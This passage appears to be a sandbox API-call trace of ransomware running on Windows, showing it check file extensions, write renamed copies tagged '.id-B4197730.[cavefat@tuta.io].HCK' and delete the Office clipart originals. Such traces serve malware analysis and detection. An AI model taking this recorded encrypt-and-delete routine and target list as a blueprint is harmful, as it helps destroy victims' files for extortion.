(lpString1=".jpg", lpString2=".WMF") returned -1 [0244.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF") returned 68 [0244.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF") returned 68 [0244.421] lstrlenW (lpString=".doc") returned 4 [0244.421] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.421] lstrlenW (lpString=".docx") returned 5 [0244.421] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0244.421] lstrlenW (lpString=".pdf") returned 4 [0244.421] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.421] lstrlenW (lpString=".xls") returned 4 [0244.421] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.421] lstrlenW (lpString=".xlsx") returned 5 [0244.421] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0244.421] lstrlenW (lpString=".ppt") returned 4 [0244.421] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF") returned 68 [0244.421] lstrlenW (lpString=".zip") returned 4 [0244.421] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.422] lstrlenW (lpString=".rar") returned 4 [0244.422] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.422] lstrlenW (lpString=".bz2") returned 4 [0244.422] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.422] lstrlenW (lpString=".7z") returned 3 [0244.422] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF") returned 68 [0244.422] lstrlenW (lpString=".dbf") returned 4 [0244.422] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF") returned 68 [0244.422] lstrlenW (lpString=".1cd") returned 4 [0244.422] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF") returned 68 [0244.422] lstrlenW (lpString=".jpg") returned 4 [0244.422] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.422] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0244.422] lstrlenW (lpString="J0195772.WMF") returned 12 [0244.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195772.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195772.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0244.423] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=3680) returned 1 [0244.423] CloseHandle (hObject=0x2d4) returned 1 [0244.423] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195772.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195772.wmf")) returned 0x220 [0244.423] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195772.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195772.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0244.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195772.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195772.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0244.423] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0244.423] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0244.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195772.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195772.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0244.424] GetLastError () returned 0x0 [0244.424] ReadFile (in: hFile=0x2d4, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0xe60, lpOverlapped=0x0) returned 1 [0244.425] WriteFile (in: hFile=0x410, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xe70, lpOverlapped=0x0) returned 1 [0244.426] ReadFile (in: hFile=0x2d4, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0244.426] WriteFile (in: hFile=0x410, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0244.426] SetEndOfFile (hFile=0x410) returned 1 [0244.426] CloseHandle (hObject=0x410) returned 1 [0244.426] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0244.426] SetEndOfFile (hFile=0x2d4) returned 1 [0244.428] CloseHandle (hObject=0x2d4) returned 1 [0244.428] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195772.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0244.429] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195772.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195772.wmf")) returned 1 [0244.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195772.WMF") returned 68 [0244.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195772.WMF") returned 68 [0244.430] lstrlenW (lpString=".doc") returned 4 [0244.430] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.430] lstrlenW (lpString=".docx") returned 5 [0244.430] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0244.430] lstrlenW (lpString=".pdf") returned 4 [0244.430] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.430] lstrlenW (lpString=".xls") returned 4 [0244.430] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.430] lstrlenW (lpString=".xlsx") returned 5 [0244.430] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0244.430] lstrlenW (lpString=".ppt") returned 4 [0244.430] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195772.WMF") returned 68 [0244.430] lstrlenW (lpString=".zip") returned 4 [0244.430] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.430] lstrlenW (lpString=".rar") returned 4 [0244.430] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.430] lstrlenW (lpString=".bz2") returned 4 [0244.430] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.430] lstrlenW (lpString=".7z") returned 3 [0244.430] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195772.WMF") returned 68 [0244.430] lstrlenW (lpString=".dbf") returned 4 [0244.430] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195772.WMF") returned 68 [0244.430] lstrlenW (lpString=".1cd") returned 4 [0244.430] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195772.WMF") returned 68 [0244.430] lstrlenW (lpString=".jpg") returned 4 [0244.430] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195772.WMF") returned 68 [0244.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195772.WMF") returned 68 [0244.430] lstrlenW (lpString=".doc") returned 4 [0244.430] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.430] lstrlenW (lpString=".docx") returned 5 [0244.430] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0244.430] lstrlenW (lpString=".pdf") returned 4 [0244.430] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.430] lstrlenW (lpString=".xls") returned 4 [0244.430] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.430] lstrlenW (lpString=".xlsx") returned 5 [0244.430] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0244.430] lstrlenW (lpString=".ppt") returned 4 [0244.431] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195772.WMF") returned 68 [0244.431] lstrlenW (lpString=".zip") returned 4 [0244.431] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.431] lstrlenW (lpString=".rar") returned 4 [0244.431] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.431] lstrlenW (lpString=".bz2") returned 4 [0244.431] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.431] lstrlenW (lpString=".7z") returned 3 [0244.431] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195772.WMF") returned 68 [0244.431] lstrlenW (lpString=".dbf") returned 4 [0244.431] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195772.WMF") returned 68 [0244.431] lstrlenW (lpString=".1cd") returned 4 [0244.431] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195772.WMF") returned 68 [0244.431] lstrlenW (lpString=".jpg") returned 4 [0244.431] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.431] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0244.431] lstrlenW (lpString="J0195788.WMF") returned 12 [0244.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195788.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195788.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0244.432] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=3004) returned 1 [0244.432] CloseHandle (hObject=0x2d4) returned 1 [0244.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195788.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195788.wmf")) returned 0x220 [0244.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195788.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195788.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0244.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195788.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195788.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0244.432] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0244.432] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0244.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195788.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195788.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0244.433] GetLastError () returned 0x0 [0244.433] ReadFile (in: hFile=0x2d4, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0xbbc, lpOverlapped=0x0) returned 1 [0244.441] WriteFile (in: hFile=0x410, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xbc0, lpOverlapped=0x0) returned 1 [0244.442] ReadFile (in: hFile=0x2d4, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0244.442] WriteFile (in: hFile=0x410, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0244.442] SetEndOfFile (hFile=0x410) returned 1 [0244.442] CloseHandle (hObject=0x410) returned 1 [0244.442] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0244.442] SetEndOfFile (hFile=0x2d4) returned 1 [0244.444] CloseHandle (hObject=0x2d4) returned 1 [0244.444] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195788.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0244.444] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195788.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195788.wmf")) returned 1 [0244.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195788.WMF") returned 68 [0244.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195788.WMF") returned 68 [0244.445] lstrlenW (lpString=".doc") returned 4 [0244.445] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.445] lstrlenW (lpString=".docx") returned 5 [0244.445] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0244.445] lstrlenW (lpString=".pdf") returned 4 [0244.445] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.445] lstrlenW (lpString=".xls") returned 4 [0244.445] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.445] lstrlenW (lpString=".xlsx") returned 5 [0244.445] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0244.445] lstrlenW (lpString=".ppt") returned 4 [0244.445] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195788.WMF") returned 68 [0244.446] lstrlenW (lpString=".zip") returned 4 [0244.446] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.446] lstrlenW (lpString=".rar") returned 4 [0244.446] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.446] lstrlenW (lpString=".bz2") returned 4 [0244.446] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.446] lstrlenW (lpString=".7z") returned 3 [0244.446] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195788.WMF") returned 68 [0244.446] lstrlenW (lpString=".dbf") returned 4 [0244.446] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195788.WMF") returned 68 [0244.446] lstrlenW (lpString=".1cd") returned 4 [0244.446] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195788.WMF") returned 68 [0244.446] lstrlenW (lpString=".jpg") returned 4 [0244.446] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195788.WMF") returned 68 [0244.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195788.WMF") returned 68 [0244.446] lstrlenW (lpString=".doc") returned 4 [0244.446] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.446] lstrlenW (lpString=".docx") returned 5 [0244.446] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0244.446] lstrlenW (lpString=".pdf") returned 4 [0244.446] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.446] lstrlenW (lpString=".xls") returned 4 [0244.446] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.446] lstrlenW (lpString=".xlsx") returned 5 [0244.446] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0244.446] lstrlenW (lpString=".ppt") returned 4 [0244.446] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195788.WMF") returned 68 [0244.446] lstrlenW (lpString=".zip") returned 4 [0244.446] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.446] lstrlenW (lpString=".rar") returned 4 [0244.446] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.446] lstrlenW (lpString=".bz2") returned 4 [0244.446] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.446] lstrlenW (lpString=".7z") returned 3 [0244.446] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195788.WMF") returned 68 [0244.446] lstrlenW (lpString=".dbf") returned 4 [0244.446] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195788.WMF") returned 68 [0244.446] lstrlenW (lpString=".1cd") returned 4 [0244.447] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195788.WMF") returned 68 [0244.447] lstrlenW (lpString=".jpg") returned 4 [0244.447] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.447] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0244.447] lstrlenW (lpString="J0196060.WMF") returned 12 [0244.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196060.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196060.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0244.448] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=4750) returned 1 [0244.448] CloseHandle (hObject=0x2d4) returned 1 [0244.448] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196060.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196060.wmf")) returned 0x220 [0244.448] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196060.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196060.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0244.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196060.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196060.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0244.448] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0244.448] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0244.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196060.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196060.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0244.449] GetLastError () returned 0x0 [0244.449] ReadFile (in: hFile=0x2d4, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x128e, lpOverlapped=0x0) returned 1 [0244.450] WriteFile (in: hFile=0x410, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x1290, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x1290, lpOverlapped=0x0) returned 1 [0244.451] ReadFile (in: hFile=0x2d4, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0244.451] WriteFile (in: hFile=0x410, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0244.451] SetEndOfFile (hFile=0x410) returned 1 [0244.451] CloseHandle (hObject=0x410) returned 1 [0244.452] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0244.452] SetEndOfFile (hFile=0x2d4) returned 1 [0244.735] CloseHandle (hObject=0x2d4) returned 1 [0244.736] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196060.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0244.945] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196060.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196060.wmf")) returned 1 [0244.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196060.WMF") returned 68 [0244.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196060.WMF") returned 68 [0244.971] lstrlenW (lpString=".doc") returned 4 [0244.971] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.971] lstrlenW (lpString=".docx") returned 5 [0244.971] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0244.971] lstrlenW (lpString=".pdf") returned 4 [0244.971] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.971] lstrlenW (lpString=".xls") returned 4 [0244.971] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.971] lstrlenW (lpString=".xlsx") returned 5 [0244.971] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0244.971] lstrlenW (lpString=".ppt") returned 4 [0244.971] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196060.WMF") returned 68 [0244.971] lstrlenW (lpString=".zip") returned 4 [0244.971] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.971] lstrlenW (lpString=".rar") returned 4 [0244.971] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.971] lstrlenW (lpString=".bz2") returned 4 [0244.971] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.971] lstrlenW (lpString=".7z") returned 3 [0244.971] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196060.WMF") returned 68 [0244.971] lstrlenW (lpString=".dbf") returned 4 [0244.971] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196060.WMF") returned 68 [0244.971] lstrlenW (lpString=".1cd") returned 4 [0244.971] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196060.WMF") returned 68 [0244.971] lstrlenW (lpString=".jpg") returned 4 [0244.971] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196060.WMF") returned 68 [0244.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196060.WMF") returned 68 [0244.971] lstrlenW (lpString=".doc") returned 4 [0244.971] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.971] lstrlenW (lpString=".docx") returned 5 [0244.971] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0244.971] lstrlenW (lpString=".pdf") returned 